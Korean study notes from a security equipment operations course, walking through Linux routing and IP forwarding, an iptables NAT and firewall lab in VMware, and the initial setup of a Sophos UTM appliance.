보안 장비 운용 (교육 94 ~ 96일차)

SW·2023년 4월 19일
0

실습> 리눅스 라우터 모드 설정

패킷 포워딩 기능이 활성화되어야 한다.
/proc/sys/net/ipv4/ip_forward

임시적 설정
# echo 1 > /proc/sys/net/ipv4/ip_forward

영구적 설정
스크립트 파일을 수정한다. 
/etc/rc.local, /etc/rc.d/rc.local
부팅 시에 가장 마지막에 실행되는 스크립트이다.
-- /etc/rc.d/rc.local  --
echo 1 > /proc/sys/net/ipv4/ip_forward
-- /etc/rc.d/rc.local  --
# chmod +x /etc/rc.d/rc.local

커널 파라미터를 수정한다.
-- /etc/sysctl.conf --
net.ipv4.ip_forward=1
-- /etc/sysctl.conf --
# sysctl -p

실습> 리눅스를 이용한 라우터 설정하기

VMware 네트워크             DHCP
VMnet1: 192.168.10.0/24     Enabled
VMnet2: 172.16.10.0/24      Enabled
VMnet8: 200.200.200.0/24    Enabled


리눅스 NIC 추가
ens33: VMnet8
ens36: VMnet1
ens37: VMnet2

리눅스를 부팅한다.
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b4:78:98 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.128/24 brd 200.200.200.255 scope global noprefixroute dynamic ens33
       valid_lft 1337sec preferred_lft 1337sec
    inet6 fe80::eb5f:2a39:52c6:2ad0/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b4:78:a2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.128/24 brd 192.168.10.255 scope global noprefixroute dynamic ens36
       valid_lft 1338sec preferred_lft 1338sec
    inet6 fe80::13fe:b481:b551:910a/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
4: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b4:78:ac brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.128/24 brd 172.16.10.255 scope global noprefixroute dynamic ens37
       valid_lft 1338sec preferred_lft 1338sec
    inet6 fe80::c069:4e7c:bb2a:ce56/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever


# yum -y install net-tools
# route 
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         gateway         0.0.0.0         UG    100    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33


실습> route 명령어로 default gw 삭제/추가 하기

default gateway: 200.200.200.2

# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    100    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

라우팅 테이블에서 default gateway를 삭제한다.
# route del default gw 200.200.200.2
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

라우팅 테이블에서 default gateway를 추가한다.
# route add default gw 200.200.200.2
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

연습으로 2개를 더 추가한다.
# route add default gw 172.16.10.2 dev ens37
# route add default gw 192.168.10.2 dev ens36
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.10.2    0.0.0.0         UG    0      0        0 ens36
0.0.0.0         172.16.10.2     0.0.0.0         UG    0      0        0 ens37
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33


# route del default gw 200.200.200.2
# route del default gw 172.16.10.2
# route del default gw 192.168.10.2
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33


외부로 나가는 문이 없기 때문에 8.8.8.8은 통신은 안된다.
# ping 8.8.8.8
connect: 네트워크가 접근 불가능합니다

외부로 나가는 문 200.200.200.2를 등록한다.
# route add default gw 200.200.200.2 dev ens33
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

외부로 나가는 문이 설정되었기 때문에 8.8.8.8은 통신은 된다.
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=48.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=48.5 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=49.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 48.562/48.945/49.338/0.364 ms

실습> ip 명령어

IP정보를 출력한다.
ip address show   
ip a

특정 인터페이스의 IP정보를 출력한다.
ip a s lo
ip a s ens33

IP주소를 추가한다.
ip address add 200.200.200.100/24 dev ens33
ip address add 200.200.200.101/24 dev ens33
ip a a 200.200.200.102/24 dev ens33

IP주소를 삭제한다.
ip address del 200.200.200.100/24 dev ens33
ip a d 200.200.200.101/24 dev ens33
ip a d 200.200.200.102/24 dev ens33

라우팅 정보를 출력한다.
ip route
ip r

디폴트 게이트웨이를 삭제한다.
ip route del default via 200.200.200.2
ip route add default via 200.200.200.2

정적 라우팅을 설정한다.
ip route add 172.16.10.0/24 via 172.16.10.2 dev ens37
ip r a 192.168.10.0/24 via 192.168.10.2 dev ens36

정적 라우팅을 삭제한다.
ip route del 172.16.10.0/24
ip r d 192.168.10.0/24


# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    103    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     105    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     104    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     103    0        0 ens33

# ip route add 172.16.10.0/24 dev ens37
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
0.0.0.0         200.200.200.2   0.0.0.0         UG    103    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 ens37
200.200.200.0   0.0.0.0         255.255.255.0   U     103    0        0 ens33

# ip route add 192.168.10.0/24 dev ens36
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
0.0.0.0         200.200.200.2   0.0.0.0         UG    103    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     0      0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     103    0        0 ens33

# systemctl restart network
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    106    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     107    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     106    0        0 ens33

실습> NAT

VMware 네트워크             DHCP
VMnet1: 192.168.10.0/24     Enabled
VMnet2: 172.16.10.0/24      Enabled
VMnet8: 200.200.200.0/24    Enabled

                                                   172.16.10.0/24  VMnet2
                        200.200.200.0/24           
                                   .101  VMnet2       +-- [Linux1(Server)]
                       .2          .5   .253          |        .101
[Internet]-----[Router]--------------[F/W]------------+
                                   .102 .253          |
                            VMnet8       VMnet1       +-- [Linux2(Client)] 
                             ens33                               .3
                                                    192.168.10.0/24  VMnet1

1. Network 설정

o F/W 에서 설정한다.
NIC 정보
ens33: VMnet8 200.200.200.5, 101, 102
ens36: VMnet1 192.168.10.253
ens37: VMnet2 172.16.10.253

# nmtui
프로파일 이름 ens33
이더넷
IPv4 설정       <수동>
주소 200.200.200.5/24
     200.200.200.101/24
     200.200.200.102/24
게이트웨이 200.200.200.2
DNS 서버 168.126.63.1
         168.126.63.2
[X] 자동으로 연결 

프로파일 이름 ens36
이더넷
IPv4 설정       <수동>
주소 192.168.10.253/24
게이트웨이 x
DNS 서버 x

[X] 자동으로 연결 
프로파일 이름 ens37
이더넷
IPv4 설정       <수동>
주소 172.16.10.253/24
게이트웨이 x
DNS 서버 x

[X] 자동으로 연결 

호스트명: firewall.linuxmaster.net

서버를 재시작하고 IP주소를 확인한다.
[root@localhost ~]# hostnamectl set-hostname firewall.linuxmaster.net
[root@localhost ~]# reboot
[root@firewall ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:e4:48:2d brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.5/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet 200.200.200.102/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::821a:273e:d65a:e00/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:e4:48:37 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global noprefixroute ens36
       valid_lft forever preferred_lft forever
    inet6 fe80::d663:fdf3:eb37:a0a8/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
4: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:e4:48:41 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global noprefixroute ens37
       valid_lft forever preferred_lft forever
    inet6 fe80::7a49:daee:6d:5414/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@firewall ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
200.200.200.5 firewall.linuxmaster.net firewall

o Linux1(Server)에서 설정한다.

NIC 정보
ens33: VMnet2 172.16.10.101

프로파일 이름 ens33
이더넷
IPv4 설정       <수동>
주소 172.16.10.101/24
게이트웨이 172.16.10.253
DNS 서버 168.126.63.1
         168.126.63.2

[X] 자동으로 연결 

호스트명: server.linuxmaster.net

[root@server ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b5:d1:2d brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.101/24 brd 172.16.10.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::fc15:1eaf:b202:97df/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@server ~]# ip route
default via 172.16.10.253 dev ens33 proto static metric 100
172.16.10.0/24 dev ens33 proto kernel scope link src 172.16.10.101 metric 100


o Linux2(Client)에서 설정한다.

NIC 정보
ens33: VMnet1 192.168.10.3

프로파일 이름 ens33
이더넷
IPv4 설정       <수동>
주소 192.168.10.3/24
게이트웨이 192.168.10.253
DNS 서버 168.126.63.1
         168.126.63.2

[X] 자동으로 연결 

호스트명: client.linuxmaster.net

[root@client ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:50:2e:74 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.3/24 brd 192.168.10.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::cc7b:30b2:3f97:53f5/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@client ~]# ip r
default via 192.168.10.253 dev ens33 proto static metric 100
192.168.10.0/24 dev ens33 proto kernel scope link src 192.168.10.3 metric 100

2. 통신 확인

[root@firewall ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=37.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=39.2 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=38.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=38.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 37.916/38.557/39.297/0.546 ms

[root@firewall ~]# ping -c 4 172.16.10.101
PING 172.16.10.101 (172.16.10.101) 56(84) bytes of data.
64 bytes from 172.16.10.101: icmp_seq=1 ttl=64 time=0.292 ms
64 bytes from 172.16.10.101: icmp_seq=2 ttl=64 time=0.522 ms
64 bytes from 172.16.10.101: icmp_seq=3 ttl=64 time=0.288 ms
64 bytes from 172.16.10.101: icmp_seq=4 ttl=64 time=0.351 ms

--- 172.16.10.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.288/0.363/0.522/0.095 ms

[root@firewall ~]# ping -c 4 192.168.10.3
PING 192.168.10.3 (192.168.10.3) 56(84) bytes of data.
64 bytes from 192.168.10.3: icmp_seq=1 ttl=64 time=0.373 ms
64 bytes from 192.168.10.3: icmp_seq=2 ttl=64 time=0.454 ms
64 bytes from 192.168.10.3: icmp_seq=3 ttl=64 time=0.697 ms
64 bytes from 192.168.10.3: icmp_seq=4 ttl=64 time=0.448 ms

--- 192.168.10.3 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.373/0.493/0.697/0.122 ms

3. NAT 설정
firewalld를 중지하고 iptables-services 를 설치한다.
[root@firewall ~]# systemctl stop firewalld
[root@firewall ~]# systemctl disable firewalld
[root@firewall ~]# yum -y install iptables-services
[root@firewall ~]# systemctl start iptables
[root@firewall ~]# systemctl enable iptables


                                                   172.16.10.0/24  VMnet2
                        200.200.200.0/24           
                                   .101  VMnet2       +-- [Linux1(Server)]
                       .2          .5   .253          |        .101
[Internet]-----[Router]--------------[F/W]------------+
                                   .102 .253          |
                            VMnet8       VMnet1       +-- [Linux2(Client)] 
                             ens33                               .3
                                                    192.168.10.0/24  VMnet1


-t nat PREROUTING:  dst:200.200.200.101 -> dst: 172.16.10.101
-t nat POSTROUTING: src:172.16.10.101  -> src: 200.200.200.101
[root@firewall ~]# iptables -t nat -A PREROUTING -d 200.200.200.101 -j DNAT --to 172.16.10.101
[root@firewall ~]# iptables -t nat -A POSTROUTING -s 172.16.10.101 -j SNAT --to 200.200.200.101

-t nat POSTROUTING: src:192.168.10.3  -> src: 200.200.200.102
[root@firewall ~]# iptables -t nat -A POSTROUTING -s 192.168.10.3 -j SNAT --to 200.200.200.102
[root@firewall ~]# iptables-save > /etc/sysconfig/iptables

패킷을 영구적으로 포워딩하기 위해서는 /etc/systl.conf에 패킷 포워딩의 커널 파라미터 값을 설정해야 한다.
/proc/sys/net/ipv4/ip_forward
0: 패킷 포워딩 금지 
1: 패킷 포워딩 허용 
[root@firewall ~]# vi /etc/sysctl.conf 

net.ipv4.ip_forward = 1

[root@firewall ~]# sysctl -p
net.ipv4.ip_forward = 1
[root@firewall ~]# cat /proc/sys/net/ipv4/ip_forward
1

filter 테이블의 방화벽 룰을 설정한다.
[root@firewall ~]# iptables -F
[root@firewall ~]# iptables -A INPUT -m state --state INVALID -j DROP
[root@firewall ~]# iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
[root@firewall ~]# iptables -A INPUT -m state --state NEW -p tcp -s 200.200.200.1 -j ACCEPT
[root@firewall ~]# iptables -P INPUT DROP

방화벽 룰을 저장한다.
[root@firewall ~]# iptables-save > /etc/sysconfig/iptables

filter 테이블의 방화벽 룰을 확인한다.
[root@firewall ~]# iptables -nL
Chain INPUT (policy DROP)
target     prot opt source               destination
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state ESTABLISHED
ACCEPT     tcp  --  200.200.200.1        0.0.0.0/0            state NEW

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

nat 테이블의 방화벽 룰을 확인한다.
[root@firewall ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
DNAT       all  --  0.0.0.0/0            200.200.200.101      to:172.16.10.101

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
SNAT       all  --  172.16.10.101        0.0.0.0/0            to:200.200.200.101
SNAT       all  --  192.168.10.3         0.0.0.0/0            to:200.200.200.102

4. 통신 확인
네트워크 방화벽이 있으므로 호스트 방화벽은 모두 중지한다.
[root@client ~]# systemctl stop firewalld
[root@client ~]# systemctl disable firewalld

[root@server ~]# systemctl stop firewalld
[root@server ~]# systemctl disable firewalld

[root@client ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=38.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=38.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=39.2 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=39.4 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 38.160/38.921/39.405/0.517 ms

[root@server ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=42.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=38.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=38.7 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=38.4 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 38.444/39.701/42.901/1.866 ms

5. 웹서버 설치
웹서버를 설치한다.
[root@server ~]# yum -y install httpd

웹서버를 시작한다.
[root@server ~]# systemctl start httpd
[root@server ~]# systemctl enable httpd

[root@server ~]# echo Hello Server: 172.16.10.101 > /var/www/html/index.html


크롬에서 웹서버로 접속하면 방화벽이 DMZ망에 있는 웹서버로 돌려준다.

http://200.200.200.101/

Hello Server: 172.16.10.101
#########
## UTM 
#########

실습> UTM 비밀번호 초기화

https://support.sophos.com/support/s/article/KB-000034260?language=en_US

실습> UTM 설치하기

참고: https://cafe.naver.com/linuxmasternet/1162

네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24

200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  <-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  <-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          <--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth1(vment1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                        ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 


1. VMware Network 구성
VMnet1: Host only 192.168.10.0/24
VMnet2: Host only 172.16.10.0/24
VMnet8: NAT 200.200.200.0/24

2. VM구성
Gest OS 생성 : Linux -> Other Linux 2.6x kernel
VM 이름: UTM9
HDD: 40G
RAM: 1G
NIC: 3개

- NIC1 eth0: NAT    200.200.200.200/24  <-- 설치 후 설정
- NIC2 eth1: VMnet1 192.168.10.253/24   <-- 설치할 때 설정 (admin)
- NIC3 eth2: VMnet2 172.16.10.253/24    <-- 설치 후 설정

3. 설치 후 웹 접속 정보
https://192.168.10.253:4444/

인증서 오류로 인해서 아래처럼 클릭한다.

고급 > 안전하지 않음으로 이동

Hostname: UTM9
Company or organization name: Linuxmasternet
City: Seoul
Country: South Korea	

:: Please select ::

admin account password:	P@ssw0rd	
Repeat password: P@ssw0rd
admin account email address: admin@linuxmaster.net

I accept the license agreement
Perform basic system setup 버튼을 클릭한다.

Please wait, this will take 40 seconds...   

크롬 브라우저에서 고급 > 안전하지 않음으로 이동을 클릭한다.

로그인 창
Username: admin
Password: P@ssw0rd

Setup wizard
Welcome to Sophos UTM

Cancle 를 눌러서 취소를 한다.

실습> 쉘 접속 설정

1. 웹 설정
loginuser: 일반유저로 P@ssw0rd로 설정한다.
root: 관리자로 P@ssw0rd로 설정한다.

Management
[System Settings] > [Shell Access] > SSH shell access > Enabled 

Shell User Passwords
Password for user root:	P@ssw0rd
Repeat:	P@ssw0rd
Password for user loginuser: P@ssw0rd
Repeat:	P@ssw0rd

Set Specified Passwords 를 클릭한다.

2. SSH 접속
웹에서 설정이 완료되면 cmd ssh or putty로 접속한다.
putty로 192.168.10.253 으로 접속한다.
putty로 접속한 로그인 내용은 아래와 같다.
Sophos UTM
(C) Copyright 2000-2015 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.

For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt

NOTE: If not explicitly approved by Sophos support, any modifications
      done by root will void your support.

loginuser@utm:/home/login > su -
Password:
utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff

실습> UTM 인터페이스 설정하기

1. 인터페이스 정보
- NIC1 eth0: NAT    200.200.200.200/24  <-- 설치 후 설정
- NIC2 eth1: VMnet1 192.168.10.253/24   <-- 설치할 때 설정 (admin)
- NIC3 eth2: VMnet2 172.16.10.253/24    <-- 설치  설정

메뉴 > Interfaces & Routing > Interfaces

쉘에서 확인하면 eth0, eht1이 설정되지 않았다.
utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff

2. eht0 설정
External interface로 설정한다.
- NIC1 eth0: NAT    200.200.200.200/24 

[Interfaces & Routing] > [Interfaces]

[New interface ...] 를 클릭해서 외부망 연결 인터페이스를 설정한다.

Add Interface
Name: External
Type: Ethernet
Hardware: eth0 Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE]
Dynamic IP: x
IPv4 address: 200.200.200.200
Netmask: /24 (255.255.255.0)
IPv4 default GW: v (반드시 체크)
Default GW IP: 200.200.200.2
Comment: 외부망 연결 인터페이스

저장 후 인터페이스를 활성화 시킨다.

[Dashboard] > 인터페이스 부분의 eth0 State Link 부분의 Up을 확인한다.
콘솔에서는 ip a or ifconfig 명령어로 확인하면 아래처럼 eth0 부분에 해당 IP주소가 활성화된 것을 확인할 수 있다.
활성화 된 후에는 외부로 ping으로 통신이 되는지 확인한다.

utm9:/root # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.200/24 brd 200.200.200.255 scope global eth0
       valid_lft forever preferred_lft forever
